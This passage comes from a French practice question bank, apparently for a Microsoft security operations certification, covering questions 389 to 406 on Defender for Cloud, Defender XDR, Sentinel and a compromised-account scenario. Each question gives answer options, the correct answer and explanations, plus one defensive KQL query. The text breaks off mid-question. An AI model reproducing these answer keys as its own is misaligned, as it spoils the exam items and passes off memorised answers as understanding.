- opérateur join — https://learn.microsoft.com/fr-fr/kusto/query/join-operator?view=microsoft-sentinel

## Question n° 389 — Investigation croisée Defender for Cloud et Entra ID

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Defender for Resource Manager signale « Suspicious invocation of a high-risk 'Credential Access' operation by a service principal ». Quelle démarche d'investigation est la plus pertinente ?

**A.** Identifier le principal de service (application, propriétaires, permissions et rôles), examiner ses connexions (AADServicePrincipalSignInLogs : IP, identifiants utilisés), les ajouts récents de secrets (AuditLogs) et ses opérations Azure (AzureActivity), puis révoquer les secrets si l'activité est illégitime.

**B.** Désactiver Defender for Resource Manager pour éviter les faux positifs.

**C.** Réinitialiser le mot de passe de tous les utilisateurs.

**D.** Supprimer l'abonnement Azure.

**Bonne réponse : A**

**Correction détaillée**

Les **principaux de service** s'authentifient avec des **secrets** ou **certificats** ; leur compromission (secret exposé dans un dépôt, secret ajouté par un attaquant) donne un accès non interactif aux ressources. L'investigation croise **Defender for Cloud** (opérations), **AADServicePrincipalSignInLogs** (connexions), **AuditLogs** (gestion des identifiants) et **AzureActivity**.

**Analyse des réponses incorrectes**

- **B.** Supprimerait la détection.
- **C.** Un principal de service n'utilise pas les mots de passe des utilisateurs.
- **D.** Disproportionné.

**Explication technique**

Remédiation : supprimer les secrets/certificats compromis, en créer de nouveaux stockés dans Key Vault, réduire les rôles (moindre privilège), préférer les identités managées. Entra ID Protection propose aussi le risque des identités de charge de travail.

**Point à retenir pour l'examen :** Principal de service suspect : connexions SP + AuditLogs (secrets) + AzureActivity, puis rotation des secrets et moindre privilège.

**Référence officielle**

- Vue d'ensemble de Microsoft Defender pour Resource Manager — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-resource-manager-introduction
- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs

## 5.3 Defender for Cloud et Defender XDR : périmètres

### Question n° 390 — Distinguer Defender for Cloud et Defender XDR

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quelle affirmation distingue correctement Microsoft Defender for Cloud de Microsoft Defender XDR ?

**A.** Defender for Cloud est réservé aux comptes Microsoft 365.

**B.** Defender for Cloud protège la posture et les charges de travail cloud (VM, conteneurs, bases, stockage, services PaaS) ; Defender XDR unifie la détection et la réponse sur les terminaux, identités, messagerie et applications SaaS, et intègre aussi les alertes de Defender for Cloud.

**C.** Defender for Cloud et Defender XDR sont deux noms du même produit.

**D.** Defender XDR ne fonctionne que dans Azure.

**Bonne réponse : B**

**Correction détaillée**

**Defender for Cloud** = **CNAPP** (CSPM + CWP) centré sur les ressources cloud et hybrides. **Defender XDR** = plateforme **XDR** unifiant MDE, MDO, MDI, MDCA, Entra ID Protection, etc. Les deux sont intégrés : les alertes Defender for Cloud apparaissent et se corrèlent dans le portail Defender.

**Analyse des réponses incorrectes**

- **A.** Il protège Azure, AWS, GCP et le local.
- **C.** Ce sont des solutions distinctes, intégrées entre elles.
- **D.** Defender XDR couvre les terminaux, Microsoft 365, les identités, etc.

**Explication technique**

Defender for Servers s'appuie sur Defender for Endpoint (composant de Defender XDR) pour l'EDR des serveurs. Sentinel complète l'ensemble comme SIEM.

**Point à retenir pour l'examen :** Defender for Cloud = ressources cloud (posture + charges) ; Defender XDR = terminaux, identités, messagerie, SaaS ; intégrés dans le portail Defender.

**Référence officielle**

- Qu'est-ce que Microsoft Defender pour le cloud ? — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-cloud-introduction
- Qu'est-ce que Microsoft Defender XDR ? — https://learn.microsoft.com/fr-fr/defender-xdr/microsoft-365-defender

### Question n° 391 — Où activer la protection d'un serveur SQL sur VM

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une base SQL Server s'exécute sur une VM Azure. Quel plan Defender for Cloud détecte les attaques contre le moteur SQL (injection, force brute SQL) sur cette machine ?

**A.** Defender for Key Vault.

**B.** Defender for App Service.

**C.** Defender for SQL servers on machines (plan Defender for SQL couvrant les serveurs SQL sur machines).

**D.** Defender for Storage.

**Bonne réponse : C**

**Correction détaillée**

**Defender for SQL** comprend la protection des bases Azure SQL (PaaS) et des **serveurs SQL sur machines** (VM Azure, machines locales via Arc, autres clouds). Il fournit l'évaluation des vulnérabilités et la détection des menaces propres au moteur SQL.

**Analyse des réponses incorrectes**

- **A.** Concerne les coffres de clés.
- **B.** Concerne les applications web App Service.
- **D.** Concerne les comptes de stockage.

**Explication technique**

La protection du système d'exploitation de la VM relève de Defender for Servers ; celle du moteur SQL relève de Defender for SQL : les deux plans sont complémentaires.

**Point à retenir pour l'examen :** SQL sur VM : Defender for SQL (moteur SQL) + Defender for Servers (OS).

**Référence officielle**

- Vue d'ensemble des Microsoft Defender pour les bases de données Azure SQL — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-sql-introduction

## Question n° 392 — Alerte Defender for Cloud et réponse sur l'appareil

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une alerte de Defender for Servers signale un processus suspect sur une VM Azure intégrée à Defender for Endpoint. Où l'analyste peut-il isoler la machine et collecter un package d'investigation ?

**A.** Depuis la page des recommandations du Secure Score.

**B.** Uniquement en supprimant la VM depuis le portail Azure.

**C.** Depuis le tableau de bord de conformité réglementaire.

**D.** Depuis la page de l'appareil dans le portail Microsoft Defender (Defender for Endpoint), l'alerte étant également visible et corrélée dans Defender XDR.

**Bonne réponse : D**

**Correction détaillée**

Les VM protégées par **Defender for Servers** sont intégrées à **Defender for Endpoint** : les actions de réponse (isolation, package d'investigation, analyse antivirus, Live Response) sont disponibles sur la page de l'appareil du portail Defender.

**Analyse des réponses incorrectes**

- **A.** Pas d'actions de réponse.
- **B.** L'isolation MDE est disponible sans supprimer la VM.
- **C.** Il n'offre pas d'actions de réponse.

**Explication technique**

Côté Azure, compléter par des mesures réseau (NSG), de snapshot de disque pour la forensique, et la révocation des identités de la VM (identité managée) si nécessaire.

**Point à retenir pour l'examen :** VM protégée par Defender for Servers = actions de réponse MDE dans le portail Defender.

**Référence officielle**

- Defender pour serveurs — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-servers-overview
- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts

## Question n° 393 — Recommandation liée à une alerte

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Après le traitement d'une alerte de force brute SSH sur une VM Linux, quelle étape réduit le risque de récidive selon l'approche de Defender for Cloud ?

**A.** Désactiver l'agent de surveillance.

**B.** Appliquer les recommandations de prévention liées dans l'onglet « Take action » (par exemple fermer les ports de gestion, activer l'authentification par clé, JIT).

**C.** Supprimer les journaux de la VM.

**D.** Fermer l'alerte et attendre la prochaine.

**Bonne réponse : B**

**Correction détaillée**

L'onglet **Take action > Prévenir les attaques futures** relie l'alerte aux **recommandations** de posture qui en suppriment la cause (exposition des ports de gestion, authentification par mot de passe SSH, absence de JIT).

**Analyse des réponses incorrectes**

- **A.** Réduit la visibilité.
- **C.** Destruction de preuves.
- **D.** Démarche réactive.

**Explication technique**

La boucle alerte → recommandation → correction illustre la complémentarité CWP/CSPM. Les règles de gouvernance assurent le suivi de la correction.

**Point à retenir pour l'examen :** Après une alerte : appliquer les recommandations de prévention liées (fermer l'exposition, durcir l'authentification).

**Référence officielle**

- Gérer et répondre aux alertes de sécurité — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/manage-respond-alerts
- Passer en revue les recommandations de sécurité — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/review-security-recommendations

## Question n° 394 — Incident multicloud

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Defender for Cloud signale des appels API AWS suspects (énumération IAM, désactivation de CloudTrail) depuis une clé d'accès d'un utilisateur IAM, au moment où MDE détecte un vol d'identifiants sur le poste d'un développeur. Que faut-il faire ?

**A.** Traiter les deux alertes comme un même incident probable : désactiver la clé d'accès AWS compromise, réactiver la journalisation CloudTrail, isoler le poste du développeur, puis rechercher d'autres secrets cloud exposés sur ce poste.

**B.** Supprimer le compte AWS de l'organisation.

**C.** Ignorer l'alerte AWS car Defender for Cloud ne surveille qu'Azure.

**D.** Traiter séparément et sans lien les deux alertes, car elles concernent deux clouds différents.

**Bonne réponse : A**

#### Correction détaillée

Defender for Cloud **multicloud** analyse les événements **AWS CloudTrail** (selon les plans activés) et génère des alertes, corrélées dans Defender XDR avec les autres signaux. Le vol d'identifiants sur un poste de développeur expose souvent des **clés cloud** (fichiers de configuration, variables d'environnement).

#### Analyse des réponses incorrectes

- **B.** Disproportionné.
- **C.** Defender for Cloud surveille aussi AWS et GCP via les connecteurs.
- **D.** Le lien (vol d'identifiants → usage de la clé) est probable et doit être investigué ensemble.

#### Explication technique

Remédiation AWS : désactiver/supprimer la clé, examiner les actions réalisées (CloudTrail : création d'utilisateurs, de clés, de ressources), réactiver la journalisation et protéger CloudTrail contre la suppression. Côté Microsoft : isolement MDE, chasse sur les autres postes.

> **Point à retenir pour l'examen :** Alertes multicloud + terminal = un incident : révoquer les clés cloud, restaurer la journalisation, isoler le poste.

#### Référence officielle

- Connecter des comptes AWS à Microsoft Defender for Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/quickstart-onboard-aws
- Alertes et incidents Microsoft Defender for Cloud dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/concept-integration-365

## Question n° 395 — Choisir la bonne console pour chaque tâche

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Associez correctement chaque besoin à l'outil le plus adapté : (1) corriger une configuration non conforme d'un compte de stockage ; (2) corréler des journaux de pare-feu tiers avec des connexions Entra ID ; (3) isoler un poste compromis.

**A.** (1) Defender for Cloud ; (2) Microsoft Sentinel ; (3) Defender for Endpoint (Defender XDR).

**B.** (1) Microsoft Sentinel ; (2) Defender for Cloud ; (3) Entra ID.

**C.** (1) Defender for Endpoint ; (2) Defender for Office 365 ; (3) Defender for Cloud.

**D.** (1) Entra ID ; (2) Defender for Identity ; (3) Microsoft Purview.

**Bonne réponse : A**

#### Correction détaillée

**Defender for Cloud** gère la **posture** des ressources cloud (recommandations, corrections) ; **Sentinel** est le **SIEM** qui corrèle des journaux hétérogènes (pare-feu tiers, Entra ID) ; **Defender for Endpoint** exécute les actions de **réponse** sur les terminaux (isolation).

### Analyse des réponses incorrectes

- **B.** Sentinel ne corrige pas la configuration des ressources, Defender for Cloud n'est pas un SIEM, Entra ID n'isole pas les postes.
- **C.** Attributions incohérentes.
- **D.** Aucun de ces outils ne correspond aux besoins indiqués.

### Explication technique

Le portail Defender unifie l'expérience, mais les responsabilités de chaque produit restent distinctes. Une question d'examen typique consiste à choisir le bon outil pour une tâche donnée.

**Point à retenir pour l'examen :** Posture cloud = Defender for Cloud ; corrélation de journaux = Sentinel ; réponse sur terminal = MDE.

### Référence officielle

- Qu'est-ce que Microsoft Defender pour le cloud ? — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-cloud-introduction
- Qu'est-ce que Microsoft Sentinel gestion des informations et des événements de sécurité (SIEM) ? — https://learn.microsoft.com/fr-fr/azure/sentinel/overview
- Qu'est-ce que Microsoft Defender XDR ? — https://learn.microsoft.com/fr-fr/defender-xdr/microsoft-365-defender

## Question n° 396 — Alertes de sécurité pour les ressources AWS dans Sentinel

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une organisation veut corréler dans Sentinel les journaux CloudTrail bruts d'AWS avec ses autres journaux, en plus des alertes Defender for Cloud. Quelle approche est adaptée ?

**A.** Utiliser uniquement les recommandations de Defender for Cloud.

**B.** Utiliser le connecteur Microsoft Defender XDR uniquement.

**C.** Utiliser le connecteur Amazon Web Services (S3) de Sentinel pour ingérer CloudTrail dans la table AWSCloudTrail, et conserver l'intégration des alertes Defender for Cloud.

**D.** Utiliser le connecteur Windows Security Events via AMA.

**Bonne réponse : C**

### Correction détaillée

Les **alertes** Defender for Cloud et les **journaux bruts** sont complémentaires : le connecteur **AWS S3** de Sentinel ingère CloudTrail (et d'autres journaux AWS) dans **AWSCloudTrail**, ce qui permet des requêtes et règles personnalisées.

### Analyse des réponses incorrectes

- **A.** Les recommandations ne contiennent pas les événements CloudTrail bruts.
- **B.** Il ne transporte pas les journaux CloudTrail bruts.
- **D.** Inadapté aux journaux AWS.

### Explication technique

Le connecteur AWS s'appuie sur un rôle IAM et une file SQS associée au compartiment S3. Filtrer les événements volumineux (lectures) ou utiliser un niveau de stockage moins coûteux pour les journaux secondaires.

**Point à retenir pour l'examen :** Journaux AWS bruts dans Sentinel = connecteur AWS (S3) → AWSCloudTrail ; les alertes viennent de Defender for Cloud.

### Référence officielle

- Connecter des comptes AWS à Microsoft Defender for Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/quickstart-onboard-aws

- connecteurs de données Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-data-sources

## 5.4 Compléments : déploiement et détections avancées

### Question n° 397 — Activer les plans à l'échelle

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une organisation possède 120 abonnements Azure et en crée régulièrement de nouveaux. Comment garantir que Defender for Servers et Defender for Storage sont activés partout, y compris sur les futurs abonnements ?

**A.** Activer manuellement chaque plan sur chaque abonnement une fois par an.

**B.** Créer une watchlist des abonnements.

**C.** Activer les plans dans Microsoft Sentinel.

**D.** Activer les plans au niveau des groupes d'administration via Azure Policy (stratégies d'activation des plans Defender) avec des tâches de correction pour l'existant.

**Bonne réponse : D**

#### Correction détaillée

**Azure Policy** (stratégies intégrées « Configurer Microsoft Defender for ... pour être activé ») appliquée à un **groupe d'administration** active automatiquement les plans sur les abonnements existants (tâche de correction) et futurs.

#### Analyse des réponses incorrectes

- **A.** Les nouveaux abonnements resteraient non protégés jusqu'à la revue.
- **B.** Une watchlist n'active rien.
- **C.** Les plans Defender for Cloud ne s'activent pas dans Sentinel.

#### Explication technique

La même approche s'applique à l'export continu, à l'automatisation des workflows et aux paramètres de diagnostic. Surveiller les désactivations de plans (`Microsoft.Security/pricings/write` dans AzureActivity).

**Point à retenir pour l'examen :** Plans Defender à l'échelle = Azure Policy au niveau des groupes d'administration + correction.

#### Référence officielle

- Qu'est-ce que Microsoft Defender pour le cloud ? — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-cloud-introduction
- Defender pour serveurs — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-servers-overview

### Question n° 398 — Secrets dans le code

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un audit révèle des clés d'accès de comptes de stockage dans des dépôts GitHub de l'entreprise. Quelle capacité de Defender for Cloud aide à détecter ce type d'exposition de façon continue ?

**A.** L'accès juste-à-temps.

**B.** La sécurité DevOps de Defender for Cloud (connecteurs GitHub/Azure DevOps/GitLab) avec l'analyse des secrets dans le code, associée à la posture Defender CSPM.

**C.** Le tableau de bord de conformité réglementaire uniquement.

D. Les règles ASR de Defender for Endpoint.

**Bonne réponse : B**

**Correction détaillée**

La **sécurité DevOps** connecte les plateformes de code (GitHub, Azure DevOps, GitLab) à Defender for Cloud pour remonter des recommandations : **secrets exposés**, vulnérabilités du code et des dépendances, mauvaises configurations de l'infrastructure as code. Defender CSPM relie ces résultats aux ressources cloud déployées.

**Analyse des réponses incorrectes**

- **A.** Il contrôle les ports de gestion des VM.
- **C.** Il ne parcourt pas le code source.
- **D.** Elles protègent les terminaux, pas les dépôts de code.

**Explication technique**

Remédiation d'un secret exposé : **le faire tourner immédiatement** (le supprimer de l'historique ne suffit pas), vérifier son usage (StorageBlobLogs, AzureActivity), puis prévenir (Key Vault, identités managées, analyse avant validation).

**Point à retenir pour l'examen :** Secrets dans les dépôts = sécurité DevOps de Defender for Cloud ; toujours faire tourner le secret exposé.

**Référence officielle**

- Qu'est-ce que la gestion de posture de sécurité Cloud (CSPM) — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/concept-cloud-security-posture-management

## Question n° 399 — Incidents de sécurité dans Defender for Cloud

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Que représente un « incident de sécurité » dans Defender for Cloud ?

A. Un ticket de support Microsoft.

B. Une interruption de service Azure.

C. Un regroupement d'alertes corrélées (par exemple selon une même ressource et une logique de chaîne d'attaque) qui décrit une campagne multi-étapes, plutôt qu'une alerte isolée.

D. Une recommandation de gravité élevée.

**Bonne réponse : C**

**Correction détaillée**

Defender for Cloud **corrèle** les alertes (analyse des intentions de la chaîne d'attaque, ressources communes) en **incidents de sécurité**, ce qui aide à comprendre une attaque multi-étapes. Ces incidents sont intégrés à Defender XDR, où la corrélation s'étend aux autres produits.

**Analyse des réponses incorrectes**

- **A.** Sans rapport.
- **B.** Il s'agit d'événements de sécurité, pas de disponibilité.
- **D.** Les recommandations concernent la posture.

**Explication technique**

Dans le portail Defender, les ressources cloud apparaissent dans l'histoire de l'attaque et l'onglet Ressources de l'incident.

**Point à retenir pour l'examen :** Incident Defender for Cloud = alertes corrélées décrivant une attaque multi-étapes.

**Référence officielle**

- Alertes et incidents de sécurité — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/alerts-overview

## Question n° 400 — Alerte d'attaque sans fichier sur une VM

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Defender for Servers génère une alerte concernant un comportement suspect en mémoire (technique sans fichier) sur une VM Windows. Quelle source de données permet d'approfondir l'analyse des processus impliqués ?

**A.** La chasse avancée Defender XDR (DeviceProcessEvents, DeviceEvents, DeviceNetworkEvents) sur l'appareil intégré à Defender for Endpoint.

**B.** Le tableau de bord de conformité réglementaire.

**C.** Les journaux de facturation Azure.

**D.** La table Usage.

**Bonne réponse : A**

**Correction détaillée**

Defender for Servers s'appuie sur **Defender for Endpoint** : les événements détaillés de l'appareil (processus, lignes de commande, connexions, événements AMSI/PowerShell) sont interrogeables en **chasse avancée**, ce qui permet de reconstituer la chaîne d'exécution liée à l'alerte.

**Analyse des réponses incorrectes**

- **B.** Il n'enregistre pas l'activité des processus.
- **C.** Sans rapport.
- **D.** Elle mesure les volumes ingérés.

**Explication technique**

Si les tables Device* sont ingérées dans Sentinel, les mêmes analyses y sont possibles (colonne TimeGenerated). Croiser avec AzureActivity pour vérifier si une action du plan de contrôle (Run Command, extension) a lancé le processus.

**Point à retenir pour l'examen :** Alerte de serveur protégé = approfondir avec la chasse avancée MDE (Device*).

**Référence officielle**

- Defender pour serveurs — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-servers-overview
- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 401 — Protéger les API publiées

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une organisation publie des API via Azure API Management et craint des abus (énumération, exfiltration via les API, appels depuis des IP malveillantes). Quel plan Defender for Cloud est conçu pour ce besoin ?

**A.** Defender for DNS.

**B.** Foundational CSPM uniquement.

**C.** Defender for Key Vault.

**D.** Defender for APIs.

**Bonne réponse : D**

### Correction détaillée

**Defender for APIs** inventorie les API publiées via **Azure API Management**, évalue leur posture (authentification, exposition, données sensibles) et détecte les **menaces à l'exécution** (anomalies d'appels, accès depuis des IP suspectes, abus de type OWASP API Top 10).

### Analyse des réponses incorrectes

- **A.** Il analyse les requêtes DNS des ressources.
- **B.** Il ne fournit pas de détection de menaces à l'exécution sur les API.
- **C.** Il protège les coffres de clés.

### Explication technique

Les alertes sont intégrées à Defender for Cloud et à Defender XDR. Compléter par un WAF (Application Gateway, Front Door) et une authentification robuste (OAuth 2.0, identités managées).

**Point à retenir pour l'examen :** Abus d'API publiées via API Management = Defender for APIs.

### Référence officielle

- Qu’est-ce que Microsoft Defender pour le cloud ? — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-cloud-introduction

# Module 6 — Scénarios transversaux et préparation à l'examen (questions 402 à 451)

Ce module rassemble **dix scénarios transversaux** de cinq questions chacun, inspirés de situations réelles de SOC : compte Entra ID compromis, hameçonnage suivi d'une exécution de processus, rançongiciel multi-terminaux, connexion depuis une localisation inhabituelle, règle analytique bruyante, activité détectée par plusieurs produits Defender, exfiltration de données, requête KQL aux résultats incomplets, incident cloud nécessitant une investigation croisée et automatisation mal configurée.

Chaque scénario se lit dans l'ordre : les questions suivantes s'appuient sur les informations des précédentes. Il s'agit d'identifier la meilleure action, la source de données pertinente, la requête adaptée ou la procédure d'investigation appropriée.

## 6.1 Scénario A — Compte Microsoft Entra ID compromis

### Question n° 402 — Scénario A1 — Premier signal

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario A :** chez Fabrikam, l'incident Defender XDR n° 4512 regroupe : une détection Entra ID Protection « Unfamiliar sign-in properties » pour la comptable l.benoit, une alerte MDCA « Suspicious inbox manipulation rule » et une alerte « Mass download » sur SharePoint, en 40 minutes. **Question :** quelle est l'évaluation initiale la plus juste ?

**A.** Une simple erreur de saisie de mot de passe.

**B.** Il s'agit très probablement d'une compromission de compte cloud avec actions post-compromission (persistance dans la boîte et collecte de données) : priorité élevée, confinement de l'identité nécessaire.

**C.** Un problème de performances SharePoint.

**D.** Trois faux positifs indépendants, à fermer séparément.

**Bonne réponse : B**

**Correction détaillée**

La **combinaison** connexion inhabituelle + règle de boîte de réception suspecte + téléchargement massif suit la chaîne typique d'une **compromission de compte** (accès initial → persistance/dissimulation → collecte/exfiltration). La corrélation XDR en un incident permet cette lecture globale.

**Analyse des réponses incorrectes**

- **A.** Aucun des signaux ne correspond à un simple échec d'authentification.
- **C.** Les signaux décrivent des comportements de sécurité, pas de performance.
- **D.** La corrélation de trois signaux de natures différentes sur le même compte en 40 minutes est un indicateur fort.

**Explication technique**

Le score de priorité et la diversité des sources (Entra ID Protection, MDCA) justifient un traitement immédiat. L'interruption automatique d'attaque peut déjà avoir agi (vérifier l'étiquette « Attack Disruption »).

**Point à retenir pour l'examen :** Plusieurs produits signalant le même compte en peu de temps = compromission probable, priorité élevée.

**Référence officielle**

- Que sont les détections de risques ? — https://learn.microsoft.com/fr-fr/entra/id-protection/concept-identity-protection-risks

- Incidents et alertes dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/incidents-overview

## Question n° 403 — Scénario A2 — Confinement de l'identité

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario A (suite) :** la compromission de l.benoit est confirmée (connexion depuis une IP d'hébergement étrangère, MFA satisfaite via un jeton). **Question :** quelle combinaison d'actions de confinement est la plus efficace ?

**A.** Bloquer l'IP de l'attaquant dans le pare-feu du siège.

**B.** Isoler le poste de l'utilisatrice avec MDE.

**C.** Désactiver temporairement le compte ou réinitialiser le mot de passe, révoquer toutes les sessions, marquer l'utilisateur comme compromis et supprimer la règle de boîte de réception malveillante.

**D.** Réinitialiser le mot de passe uniquement.

**Bonne réponse : C**

### Correction détaillée

Le **confinement d'identité** combine : invalidation des identifiants, **révocation des sessions** (jetons d'actualisation ; CAE pour les applications compatibles), **marquage compromis** (risque élevé → stratégies de risque), et suppression des **persistances** (règles, méthodes MFA ajoutées, applications consenties).

### Analyse des réponses incorrectes

- **A.** L'accès se fait aux services cloud, sans passer par le pare-feu du siège.
- **B.** Le poste n'est pas impliqué (accès cloud par jeton) ; l'isolation ne coupe pas l'accès de l'attaquant.
- **D.** Les sessions et jetons déjà émis restent valides et la règle malveillante continue d'agir.

### Explication technique

« MFA satisfaite via un jeton » suggère un vol de session (AiTM) : la révocation est indispensable. Les actions peuvent être lancées depuis le portail Defender (page utilisateur), Entra ID ou MDCA (actions de gouvernance).

**Point à retenir pour l'examen :** Compte cloud compromis : identifiants + révocation des sessions + marquage compromis + suppression des persistances.

### Référence officielle

- Révoquer les accès utilisateur dans Microsoft Entra ID — https://learn.microsoft.com/fr-fr/entra/identity/users/users-revoke-access
- Régir les actions pour les applications connectées dans Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/governance-actions

## Question n° 404 — Scénario A3 — Source de données pour les accès

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario A (suite) :** la direction demande quels documents et e-mails l'attaquant a consultés. **Question :** quelles sources de données utiliser en priorité ?

**A.** Les journaux d'audit Microsoft 365 (Purview Audit / CloudAppEvents), filtrés sur la fenêtre de compromission et l'IP ou la session de l'attaquant, notamment FileAccessed/FileDownloaded et MailItemsAccessed.

**B.** La table Heartbeat.

**C.** DeviceProcessEvents du poste de l'utilisatrice.

D. Le Secure Score.

**Bonne réponse : A**

**Correction détaillée**

Les accès aux données Microsoft 365 sont dans **Purview Audit** et **CloudAppEvents** (chasse avancée), ou **OfficeActivity** dans Sentinel. Filtrer par **IP**/**SessionId**/agent utilisateur de l'attaquant distingue ses actions de celles de l'utilisatrice.

**Analyse des réponses incorrectes**

- **B.** Disponibilité des agents.
- **C.** L'attaquant a agi depuis le cloud, pas depuis le poste.
- **D.** Indicateur de posture.

**Explication technique**

MailItemsAccessed (Bind/Sync) indique les messages consultés ; FileDownloaded/FileAccessed les fichiers. Ces éléments déterminent les obligations de notification (données personnelles, secrets d'affaires).

**Exemple pratique**

KQL — CHASSE AVANCÉE MICROSOFT DEFENDER XDR

```
CloudAppEvents
| where Timestamp between (datetime(2026-10-05 08:00) .. datetime(2026-10-05 12:00))
| where AccountDisplayName == "Laure Benoit" and IPAddress == "203.0.113.150"
| summarize Actions = count() by ActionType, Application
| order by Actions desc
```

**Point à retenir pour l'examen :** Ce que l'attaquant a consulté = audit Microsoft 365 (CloudAppEvents/OfficeActivity) filtré sur sa session/IP.

**Référence officielle**

- En savoir plus sur les solutions d'audit dans Microsoft Purview — https://learn.microsoft.com/fr-fr/purview/audit-solutions-overview
- CloudAppEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-cloudappevents-table

## Question n° 405 — Scénario A4 — Persistance résiduelle

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario A (suite) :** après le confinement, une nouvelle alerte signale l'accès à la boîte de l.benoit par une application inconnue. **Question :** quelle vérification aurait dû faire partie de l'éradication ?

A. La suppression de toutes les applications d'entreprise du locataire.

B. La désactivation de Safe Links.

C. La réinstallation du poste de l'utilisatrice.

D. L'inventaire des applications ayant reçu un consentement de l'utilisatrice (et des secrets/identifiants d'application ajoutés) pendant la compromission, avec révocation des octrois illégitimes.

**Bonne réponse : D**

**Correction détaillée**

Les attaquants créent des **persistances** indépendantes du mot de passe : **consentements OAuth** (T1528), **méthodes MFA** ajoutées, **appareils** enregistrés, **règles** de boîte. L'éradication doit les inventorier (AuditLogs : « Consent to application », « Add OAuth2PermissionGrant », « User registered security info »...) et les supprimer.

**Analyse des réponses incorrectes**

- **A.** Disproportionné.
- **B.** Sans rapport et contre-productif.
- **C.** L'accès passe par une application cloud.

**Explication technique**

Defender for Cloud Apps (gouvernance des applications) aide à repérer et désactiver les applications OAuth à risque ; MicrosoftGraphActivityLogs montre leurs appels.

**Point à retenir pour l'examen :** Éradication d'un compte cloud : vérifier consentements OAuth, méthodes MFA, appareils et règles ajoutés.

**Référence officielle**

- Journaux d'audit — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/auditlogs
- Investigation sur l'octroi de consentement pour l'application — https://learn.microsoft.com/fr-fr/security/operations/incident-response-playbook-app-consent

## Question n° 406 — Scénario A5 — Amélioration après incident

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario A (suite) :** le retour d'expérience montre que le jeton a été volé via une page AiTM et qu'aucune stratégie de risque n'était active. **Question :** quelles améliorations prioriser ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Augmenter la durée de vie des sessions pour limiter les invites.

